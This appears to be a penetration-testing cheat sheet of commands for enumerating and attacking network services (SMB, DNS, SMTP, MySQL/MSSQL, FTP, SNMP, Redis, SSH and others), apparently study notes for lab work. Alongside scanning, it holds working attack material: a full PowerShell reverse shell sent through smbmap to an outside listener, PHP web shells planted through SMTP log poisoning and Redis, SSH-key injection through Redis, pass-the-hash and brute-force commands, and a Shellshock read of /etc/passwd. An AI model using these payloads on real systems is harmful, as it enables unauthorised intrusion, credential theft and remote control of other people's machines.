Network

Scan for hosts

1
nmap -sn $iprange -oG - | grep Up | cut -d' ' -f2 > network.txt
Copied!

Port scanning

TCP Port scanner script I use.
1
wget https://raw.githubusercontent.com/rowbot1/portscanner/main/portscanner.sh
Copied!

All TCP Ports:

1
nmap -Pn -sC -sV -oA all -vv -p- $ip
Copied!
When you're getting no where with the TCP ports - try UDP ports. Easily forgotten about!

UDP Top 100:

1
nmap -Pn -sU --top-ports 100 -oA udp -vv $ip
Copied!

Utilize nmap's scripts

1
locate .nse | grep ftp
Copied!

What does a script do?

1
nmap --script-help ftp-anon
Copied!

Uniscan

1
uniscan -u $ip -qweds
Copied!

Good nmap command

1
nmap -T4 -n -sC -sV -p- -oN nmap-versions --script='*vuln*' [ip]
Copied!

unicornscan + nmap = onetwopunch

Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.
1
./onetwopunch.sh -t targets.txt -i tun0 -n '-T4 -n -sC -sV -oN nmap-versions --script=*vuln*'
Copied!

Vulnerability scanning

NSE scripts that scans for vulnerabilities are at ls -l /usr/share/nmap/scripts/*vuln*.
1
nmap -p 80 --script=all $ip - Scan a target using all NSE scripts. May take an hour to complete.
2
nmap -p 80 --script=*vuln* $ip - Scan a target using all NSE vuln scripts.
3
nmap -p 80 --script=http*vuln* $ip - Scan a target using all HTTP vulns NSE scripts.
4
nmap -p 21 --script=ftp-anon $ip/24 - Scan entire network for FTP servers that allow anonymous access.
5
nmap -p 80 --script=http-vuln-cve2010-2861 $ip/24 - Scan entire network for a directory traversal vulnerability. It can even retrieve admin's password hash.
Copied!

Search services vulnerabilities

1
searchsploit --exclude=dos -t apache 2.2.3
Copied!
1
msfconsole; > search apache 2.2.3
Copied!

DNS

Find name servers
1
host -t ns $ip
Copied!

fierce

1
fierce -dns $domain
Copied!
Find email servers
1
host -t mx $ip
Copied!
Subdomain bruteforcing
1
for ip in $(cat list.txt); do host $ip.$website; done
Copied!
Reverse dns lookup bruteforcing
1
for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
Copied!

Zone transfer request

Using Transaction Signatures (TSIG) for secure DNS server communication
Canadian Internet Registration Authority (CIRA)
secure against it
When initialising a zone transfer, the attacker will first need to know the name of the zone which they are targeting and then specify the IP address of the DNS server to perform the zone transfer against.
Below is a zone transfer against an open DNS server. You can use either of the commands below:
dig <target domain> @<dns server> axfr host -l <target domain> <dns server>
dig @[DNS SERVER HERE] axfr [DOMAIN NAME HERE]
The β€˜@’ symbol is used to specify the target DNS server
1
host -l $ip ns1.$ip
Copied!
1
dnsrecon -d $ip -t axfr
Copied!
Finds nameservers for a given domain
1
host -t ns $ip| cut -d " " -f 4 #
Copied!
1
dnsenum $ip
Copied!
Nmap zone transfer scan
1
nmap $ip --script=dns-zone-transfer -p 53
Copied!
Finds the domain names for a host.
1
whois $ip
Copied!
Find the IP and authoritative servers.
1
nslookup $ip
Copied!
Finds miss configure DNS entries.
1
host -t ns $ip
Copied!
TheHarvester finds subdomains in google, bing, etc
1
python theHarvester.py -l 500 -b all -d $ip
Copied!

SMB and SAMBA

Server Message Block (SMB) Protocol is a network file sharing protocol, and as implemented in Microsoft Windows
Samba has provided secure, stable and fast file and print services for all clients using the SMB/CIFS protocol, such as all versions of DOS and Windows, OS/2, Linux and many others
SMB Version
Windows version
CIFS
Microsoft Windows NT 4.0
SMB 1.0
Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2
SMB 2.0
Windows Vista & Windows Server 2008
SMB 2.1
Windows 7 and Windows Server 2008 R2
SMB 3.0
Windows 8 and Windows Server 2012
SMB 3.0.2
Windows 8.1 and Windows Server 2012 R2
SMB 3.1.1
Windows 10 and Windows Server 2016

SMB uses the following TCP and UDP ports:

1
netbios-ns 137/tcp # NETBIOS Name Service
2
netbios-ns 137/udp
3
netbios-dgm 138/tcp # NETBIOS Datagram Service
4
netbios-dgm 138/udp
5
netbios-ssn 139/tcp # NETBIOS session service
6
netbios-ssn 139/udp
7
microsoft-ds 445/tcp # if you are using Active Directory
Copied!

Checklist

    Enumerate Hostname - nmblookup -A $ip
    List Shares
      smbmap -H $ip
      echo exit | smbclient -L \\\\$ip
      nmap --script smb-enum-shares -p 139,445 $ip
    Check Null Sessions
      smbmap -H $ip
      rpcclient -U "" -N $ip
      smbclient \\\\$ip\\[share name]
    Check for Vulnerabilities - nmap --script smb-vuln* -p 139,445 $ip
    Overall Scan - enum4linux -a $ip
    Manual Inspection
      smbver.sh $ip (port)
Get a shell with smbmap
1
smbmap -u jsmith -p 'R33nisP!nckle' -d ABC -h 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
2
​
Copied!
Quick script to check for vulns
1
https://github.com/rowbot1/OSCP-note/blob/master/ENUMERATION/SMB/SMB-check-vulns.rb
Copied!
mblookup β€” NetBIOS over TCP/IP client used to lookup NetBIOS names

Scanning for the NetBIOS Service

SMB NetBIOS service listens on TCP ports 139 and 445, as well as several UDP ports.
nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24
nbtscan -r 192.168.1.0/24

Null Session Enumeration

Vulnerable SMB Versions

Vulnerable versions:

1
Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default
2
Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default
3
Most Samba (Unix) servers
Copied!
List of SMB versions and corresponding Windows versions:
1
SMB1 – Windows 2000, XP and Windows 2003.
2
SMB2 – Windows Vista SP1 and Windows 2008
3
SMB2.1 – Windows 7 and Windows 2008 R2
4
SMB3 – Windows 8 and Windows 2012.
Copied!
Empty LM and NTLM hashes:
1
Empty LM Hash: aad3b435b51404eeaad3b435b51404ee
2
Empty NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0
Copied!
rpcclient
Manually probe a SMB server
1
rpcclient -U '' $ip
2
Password:
3
rpcclient gt; srvinfo # operating system version
4
rpcclient gt; netshareenumall # enumerate all shares and its paths
5
rpcclient gt; enumdomusers # enumerate usernames defined on the server
6
rpcclient gt; getdompwinfo # smb password policy configured on the server
Copied!
Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.
enum4linux
Wrapper around smb programs like rpcclient to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.
1
enum4linux -a $ip
2
enum4linux -u 'guest' -p '' -a $ip
Copied!
CrackMapExec
Works perfectly, list shares and permissions, enum users, disks, code execute and run modules like mimikatz. Hashes work. Also will tell you exact version of Windows
1
crackmapexec -u 'guest' -p '' --shares $ip
2
crackmapexec -u 'guest' -p '' --rid-brute 4000 $ip
3
crackmapexec -u 'guest' -p '' --users $ip
4
crackmapexec smb 192.168.1.0/24 -u Administrator -p [email protected]
5
crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B
6
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz 192.168.1.0/24
7
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami $ip
8
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami $ip# reliable pth code execution
Copied!
Also will tell you exact version of windows:
Could not load image
smbmap
Works well for listing and downloading files, and listing shares and permissions. Hashes work. Code execution doesn't work.
1
smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares
2
smbmap -u guest -p '' -H $ip
3
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip
4
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir
5
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively
6
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '.*' # download everything recursively in the wwwroot share to /usr/share/smbmap. great when smbclient doesnt work
7
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work
Copied!
​
generally works a bit better than enum4linux as it enum4linux tends to error out a bit
downloads to the /usr/share/smbmap directory
1
smb: \> RECURSE ON
2
smb: \> PROMPT OFF
3
smb: \> mget *
Copied!

Download all

1
smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q #downloads a file in quiet mode
Copied!
1
smbmap -R $sharename -H $ip #Recursively list dirs, and files
Copied!
1
smbmap -H $ip
Copied!
default port it checks is 445, use -P 139 to point it at that port if 445 fails

smbclient

Access SMB shares interactively, seems to work with anonymous access. Hashes don't work.
1
smbclient //$ip/wwwroot
2
smbclient //$ip/C$ WIN20082017 -U Administrator
3
smbclient //$ip/C$ A433F6C2B0D8BB92D7288ECFFACFC7CD -U Administrator --pw-nt-hash # make sure to only use the NT portion of the hash
Copied!
WARNING, be careful when using the get command to download absolute path files from the remote system. Eg. get /etc/passwd will download the passwd file and overwrite YOUR /etc/passwd. Use get /etc/passwd /tmp/passwd instead.
To download recursively:
1
# Within smbclient, download everything recursively:
2
mask ""
3
recurse ON
4
prompt OFF
5
cd 'path\to\remote\dir'
6
lcd '~/path/to/download/to/'
7
mget *
Copied!
pth-winexe
Works great sometimes. Can open a windows cmd shell.
1
pth-winexe -U administrator%WIN20082017 //$ipcmd # using a plaintext password
2
pth-winexe -U Administrator%A433F6C2B0D8BB92D7288ECFFACFC7CD //$ipcmd # ntlm hash encrypted with https://www.browserling.com/tools/ntlm-hash
3
pth-winexe -U domain/user%A433F6C2B0D8BB92D7288ECFFACFC7CD //$ipcmd # domain user
4
pth-winexe -U Administrator%8F49412C8D29DF02FB62879E33FBB745:A433F6C2B0D8BB92D7288ECFFACFC7CD //$ip cmd # lm+ntlm hash encrypted with https://asecuritysite.com/encryption/lmhash
5
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:A433F6C2B0D8BB92D7288ECFFACFC7CD //$ip cmd # ntlm hash + empty lm hash
6
# or
7
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
8
pth-winexe -U Administrator% //$ip cmd
Copied!

smbenum.sh

1
#!/bin/bash
2
​
3
#SMB Enumeration using nmap
4
#(c) Mike Digital Offensive
5
​
6
if [ -z "$1" ]
7
then
8
echo "Error please provide host to enumerate"
9
exit
10
else
11
nmap -script=smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse $1
12
fi
Copied!

Samba version checker

smbver.sh

1
#!/bin/sh
2
#Author: rewardone
3
#Description:
4
# Requires root or enough permissions to use tcpdump
5
# Will listen for the first 7 packets of a null login
6
# and grab the SMB Version
7
#Notes:
8
# Will sometimes not capture or will print multiple
9
# lines. May need to run a second time for success.
10
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
11
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
12
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
13
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
14
echo "" && sleep .1
Copied!
1
nmblookup -A $ip
Copied!
1
enum4linux -a $ip
Copied!
Used to enumerate data from Windows and Samba hosts and is a wrapper for smbclient, rpcclient, net and nmblookup
Look for users, groups, shares, workgroup/domains and password policies
list smb nmap scripts
1
locate .nse | grep smb
Copied!

find SAMBA version number using the SMB OS discovery script:

1
nmap -A $ip -p139
Copied!
then google to see if version is vulnerable
1
SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename
2
SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename
Copied!

​

Could not load image
Use the GUI to browse and download ^ example above

Brute force login

1
medusa -h $ip -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt
2
nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv
Copied!

RID

Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating.
1
https://tools.kali.org/maintaining-access/ridenum
Copied!

Null Session

A null SMB session can be used to gather passwords and useful information from SMB 1 by looking in shares that are not password protected for interesting files. Windows NT/2000 XP default settings allow this. Windows 2003/XP SP2 SMB this behaviour is disabled.

Null session and extract information.

1
nbtscan -r $ip
Copied!

Version

1
msfconsole; use auxiliary/scanner/smb/smb_version; set RHOSTS $ip; run
Copied!
MultiExploit
1
msfconsole; use exploit/multi/samba/usermap_script; set lhost 10.10.14.x; set rhost $ip; run
Copied!

Show all nmap SMB scripts

1
ls -ls /usr/share/nmap/scripts/smb*
Copied!
Quick enum:
1
nmap --script=smb-enum* --script-args=unsafe=1 -T5 $ip
Copied!
Quick vuln scan:
1
nmap --script=smb-vuln* --script-args=unsafe=1 -T5 $ip
Copied!
Full enum and vuln scanning:
1
nmap --script=smb2-capabilities,smb-print-text,smb2-security-mode.nse,smb-protocols,smb2-time.nse,smb-psexec,smb2-vuln-uptime,smb-security-mode,smb-server-stats,smb-double-pulsar-backdoor,smb-system-info,smb-vuln-conficker,smb-enum-groups,smb-vuln-cve2009-3103,smb-enum-processes,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-enum-shares,smb-vuln-ms07-029,smb-enum-users,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-ls,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-os-discovery --script-args=unsafe=1 -T5 $ip
Copied!
Full enum & vuln scan:
1
nmap -p139,445 -T4 -oN smb_vulns.txt -Pn --script 'not brute and not dos and smb-*' -vv -d $ip
Copied!
Mount:
1
smbclient //$ip/share -U username
Copied!
1
smblclient -N -L \\$ip
Copied!
Anonymous mount:
1
smbclient //$ip/share # hit enter with blank password
Copied!

Eternal Blue

Exploits a critical vulnerability in the SMBv1 protocol
Worth testing Eternal blue - you might get lucky although (the system should be patched to fix this)

Vulnerable versions

Windows 7, 8, 8.1 and Windows Server 2003/2008/2012(R2)/2016
1
nmap -p 445 $ip --script=smb-vuln-ms17-010
Copied!
Bruteforce
1
hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb
Copied!
Any metasploit exploit through Netbios over TCP in 139, you need to set:
1
set SMBDirect false
Copied!

NFS

Show all mounts
1
showmount -e $ip
Copied!
Mount a NFS share
1
mount $ip:/vol/share /mnt/nfs
Copied!
Use nfspy to mount a share. Will get around permission errors
1
nfspysh -o server=$ip:/home/vulnix/
Copied!

​

Mysql

1
nmap -sV -Pn -vv --script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $ip -p 3306
Copied!

Nmap scan

1
nmap -sV -Pn -vv -script=mysql* $ip -p 3306
Copied!

Vuln scanning:

1
sqlmap -u 'http://$ip/login-off.asp' --method POST --data 'txtLoginID=admin&txtPassword=aa&cmdSubmit=Login' --all --dump-all
Copied!
If Mysql is running as root and you have access, you can run commands:
1
mysql> select do_system('id');
2
mysql> \! sh
Copied!

Enumerate MSSQL Servers on the network

1
msf > use auxiliary/scanner/mssql/mssql_ping
2
nmap -sU --script=ms-sql-info $ip
Copied!

Bruteforce MsSql

1
msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login
Copied!

Gain shell using gathered credentials

1
msf > use exploit/windows/mssql/mssql_payload
2
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
Copied!

Log in to a MsSql server:

1
# [email protected]:~/dirsearch# cat ../.freetds.conf
2
[someserver]
3
host = $ip
4
port = 1433
5
tds version = 8.0
6
user=sa
7
​
8
[email protected]:~/dirsearch# sqsh -S someserver -U sa -P PASS -D DB_NAME
Copied!

SMTP

Things to remember:

    Used to send mail
    Always do users enumeration
    Mail is stored (in linux) in /var/log/mail/username. If you have LFI maybe you can connect to mail server and input webshell.
      telnet $ip 25 EHLO rowbot MAIL FROM:[email protected] RCPT TO:$usernamehere DATA Subject: shell <?php system($_GET['cmd']); ?> . quit
    symfonos:1 box
Completed machine with the above vulnerability: Symfonos:1
1
HELO
2
It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.
3
​
4
EHLO
5
An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.
6
​
7
MAIL FROM
8
With this SMTP command the operations begin: the sender states the source email address in the β€œFrom” field and actually starts the email transfer.
9
​
10
RCPT TO
11
It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.
12
​
13
SIZE
14
This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.
15
​
16
DATA
17
With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.
18
​
19
VRFY
20
The server is asked to verify whether a particular email address or username actually exists.
21
​
22
TURN
23
This command is used to invert roles between the client and the server, without the need to run a new connaction.
24
​
25
AUTH
26
With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.
27
​
28
RSET
29
It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).
30
​
31
EXPN
32
This SMTP command asks for a confirmation about the identification of a mailing list.
33
​
34
HELP
35
It’s a client’s request for some information that can be useful for the a successful transfer of the email.
36
​
37
QUIT
38
It terminates the SMTP conversation.
Copied!
1
for server in $(cat smtpmachines); do echo "******************" $server "*****************"; smtp-user-enum -M VRFY -U userlist.txt -t $server;done #for multiple servers
Copied!
1
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $ip
2
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -t $ip
3
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt -t $ip > smtpuserenum
4
then grep exists
Copied!
1
use auxiliary/scanner/smtp/smtp_enum
Copied!
Python script
1
#!/usr/bin/python
2
import socket
3
import sys
4
​
5
if len(sys.argv) != 2:
6
print "Usage: vrfy.py <username>"
7
sys.exit(0)
8
# Create a Socket
9
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
10
# Connect to the Server
11
connect = s.connect(('192.168.1.234',25))
12
# Receive the banner
13
banner = s.recv(1024)
14
print banner
15
# VRFY a user
16
s.send('VRFY ' + sys.argv[1] + '\r\n')
17
result = s.recv(1024)
18
print result
19
# Close the socket
20
s.close()
21
​
Copied!
Command to check if a user exists
1
VRFY root
Copied!
Command to ask the server if a user belongs to a mailing list
1
EXPN root
Copied!
Enumeration and vuln scanning:
1
nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $ip
Copied!

Bruteforces

1
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
Copied!

Metasploit user enumeration

1
use auxiliary/scanner/smtp/smtp_enum
Copied!

Testing for open relay

1
telnet $ip 25
2
EHLO root
5
DATA
6
Subject: Testing open mail relay.
7
Testing SMTP open mail relay. Have a nice day.
8
.
9
QUIT
Copied!

RPC (135)

Enumerate, shows if any NFS mount exposed:

1
rpcinfo -p $ip
Copied!
Get a list of .exe's that are using either TCP UDP HTTP and SMB via named pipes
1
rpcdump.py $ip | grep .exe | awk '{print $2}'
Copied!
1
nmap $ip --script=msrpc-enum
Copied!
1
msf > use exploit/windows/dcerpc/ms03_026_dcom
Copied!

FTP enumeration

Enumerate:

1
nmap --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 $ip
Copied!
If anonymous login or any other login is allowed but you can't get Filezilla to open it. Play about with the connection settings, ACTIVE\PASSIVE\AUTO.

Bruteforce

1
hydra -l user -P /usr/share/john/password.lst ftp://$ip:21
Copied!

Bruteforce with metasploit

1
msfconsole -q msf> search type:auxiliary login: msf> use auxiliary/scanner/ftp/ftp_login
Copied!

Vuln scan

1
nmap --script=ftp-* -p 21 $ip
Copied!

TFTP

If unauthenticated access is allowed with write permissions you can upload a shell:
1
tftp $ip
2
tftp> ls
3
?Invalid command
4
tftp> verbose
5
Verbose mode on.
6
tftp> put shell.php
7
Sent 3605 bytes in 0.0 seconds [inf bits/sec]
Copied!
1
nmap -sU -p 69 --script tftp-enum.nse $ip
Copied!
or
1
use auxiliary/scanner/tftp/tftpbrute
Copied!
connecting/interacting: tftp $ip tftp> put payload.exe tftp> get file.txt

SSH

User enumeration

1
use auxiliary/scanner/ssh/ssh_enumusers
2
set user_file /usr/share/wordlists/metasploit/unix_users.txt
3
or
4
set user_file /usr/share/seclists/Usernames/Names/names.txt
5
run
Copied!
1
python /usr/share/exploitdb/exploits/linux/remote/40136.py -U /usr/share/wordlists/metasploit/unix_users.txt $ip
Copied!
If you see the following message, it likely means that scp
1
PTY allocation request failed on channel 0
Copied!

Bruteforce

1
hydra -v -V -l root -P password-file.txt $ip ssh
Copied!

With list of users:

1
hydra -v -V -L user.txt -P /usr/share/wordlists/rockyou.txt -t 16 192.168.33.251 ssh
Copied!
    You can use -w to slow down

SSL

Open a connection

1
openssl s_client -connect $ip:443
Copied!

Basic SSL ciphers check

1
nmap --script ssl-enum-ciphers -p 443 $ip
Copied!
    Look for unsafe ciphers such as Triple-DES and Blowfish
    Very complete tool for SSL auditing is testssl.sh, finds BEAST, FREAK, POODLE, heart bleed, etc...

SNMP

Enumeration

enumerate Community strings
1
./onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.11.1.73
Copied!
Community string too long If you see this download onesixtyone from Github and run it there

v1

1
snmp-check -t $ip -c public
Copied!
use nmap to enumerate info
1
nmap -sU -p161 --script "snmp-*" $ip
Copied!

snmpwalk

1
apt install snmp-mibs-downloader #translates MIBs into readable format
Copied!
1
for community in public private manager; do snmpwalk -c $community -v1 $ip; done
2
snmpwalk -c public -v1 $ip
3
snmpenum $ip public windows.txt
Copied!
Less noisy:
1
snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25
Copied!
Based on UDP, stateless and susceptible to UDP spoofing
1
nmap -sU --open -p 16110.1.1.1-254 -oG out.txt
Copied!
1
snmpwalk -c public -v1 10.1.1.1 # we need to know that there is a community called public
2
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25 # enumerate windows users
3
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2 # enumerates running processes
Copied!
1
nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes $ip
Copied!

POP3

Test authentication:

1
telnet $ip 110
3
PASS admin
4
list
5
retr 1
Copied!

Finger

port 79

1
https://touhidshaikh.com/blog/?p=914
Copied!

Find Logged in users on target.

1
finger @$ip
2
if there is no user logged in this will show no username
Copied!

Check User is existed or not.

Copied!
The finger command is very useful for checking users on target but it’s painful if brute-forced for a username.

Using Metasploit fo Brute-force target

1
use auxiliary/scanner/finger/finger_users
2
set rhosts $ip
3
set users_file
4
run
Copied!
1
cd /tmp/
2
wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
3
tar -xvf finger-user-enum-1.0.tar.gz
4
cd finger-user-enum-1.0
5
perl finger-user-enum.pl -t 10.22.1.11 -U /tmp/rockyou-top1000.txt
Copied!

RDP

Install RDP nmap scripts
1
https://fadedlab.wordpress.com/2019/06/13/using-nmap-to-extract-windows-info-from-rdp/amp/
Copied!
1
nmap -p 3389 --script rdp-ntlm-info $ip
Copied!

Bruteforce

1
ncrack -vv --user administrator -P password-file.txt rdp://$ip
Copied!
1
hydra -t 4 -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
Copied!

Kerberos

Test MS14-068

Redis

Shell

First, the web server on the server broadcasts, including a simple PHP code and create a back door, which will help us to execute commands on the server.
1
CONFIG SET dir /var/www/html/
2
CONFIG SET dbfilename shell.php
3
CONFIG GET dbfilename
4
​
5
1) "dbfilename"
6
2) "shell.php"
7
​
8
SET cmd "<?php system($_GET['cmd']); ?>"
9
OK
10
BGSAVE
Copied!
which can be accessed using
1
http://$ip/shell.php?cmd=whoami
2
www-data
Copied!

Upload SSH key

Second, file type found in the users home directory because it is our right and remote SSH access with a key instead of using the password used to connect to create key, they may be directly un-encrypted user rights that provide access to the system.
1
1: ssh-keygen -t rsa
2
2:
3
3: (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key
4
4:
5
5: cat auth_key | redis-cli -h hostname -x set crackit
6
6: redis-cli -h hostname
7
7:
8
8: config set dir /root/.ssh/
9
9: config get dir
10
10: config set dbfilename "authorized_keys"
11
11: save
12
12:
13
13: config set dir /home/user/.ssh/
14
14: save
15
15:
16
16: config set dir /home/admin/.ssh/
17
17:
18
18: ssh [email protected] -p 1322 -i id_rsa
19
​
Copied!
1 - He has given parameters in line with a 2048-bit RSA key pair is generated. We can give it a password when we log in
3 - The public key of his own and to receive the new line last line auth_key name we are writing a new file. We will upload this file to the target machine via the Redis server.
5 and 6. data from the key input in the standard line that we say we do, and then take the memory contents auth_key entry Redis server.
8, 9, 10, 11 in which the location of the file content to be installed in the line number, which is stated to be added to the bottom of the file. SAVE transactions made by the commands are processed on the server side to make it happen.
13 and 16 lines in the root of the same process that we have done for other users in order to gain access with the privileges they also inside the ssh folder in the main folder authorized_keys are doing the same procedure for writing to file.

LDAP

Enumeration:

1
ldapsearch -h $ip -p 389 -x -b "dc=mywebsite,dc=com"
Copied!

Email addresses enumeration

Find emails in google, bing, pgp etc
1
theharvester -d $ip -b google
Copied!
Contact information for the domains they host
1
whois $ip
Copied!
Find emails and employee name with Recon-ng:
1
recon-ng; use module; set DOMAIN $ip; run;
2
recon/contacts/gather/http/api/whois_pocs
Copied!
Find xss published ad xssed.co
1
recon/hosts/enum/http/web/xssed
Copied!
Find subdomain
1
recon/hosts/gather/http/web/google_site
Copied!
Finds IPs close to the domain and possible new domains
1
recon/hosts/gather/http/web/ip_neighbor
Copied!
Google search
    site:xxx -site:www.xxx
    filetype: look for specific documents, pdf, docx, etc..
    inurl
    intitle
    Others https://www.exploit-db.com/google-hacking-database/

nmap has many vulnerability scanning NSE scripts in /usr/share/nmap/scripts/

OpenVAS
    Powerful vulnerability scanner with thousands of scan checks. Setup:
1
openvas-setup; openvas-adduser; gsd
Copied!

Well known exploits

Shellshock

The following tool will test it.
1
git clone https://github.com/nccgroup/shocker; cd shocker; ./shocker.py -H $ip --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose; ./shocker.py -H $ip --command "/bin/cat /etc/passwd" -c /cgi-bin/admin.cgi --verbose
Copied!
You can also:
1
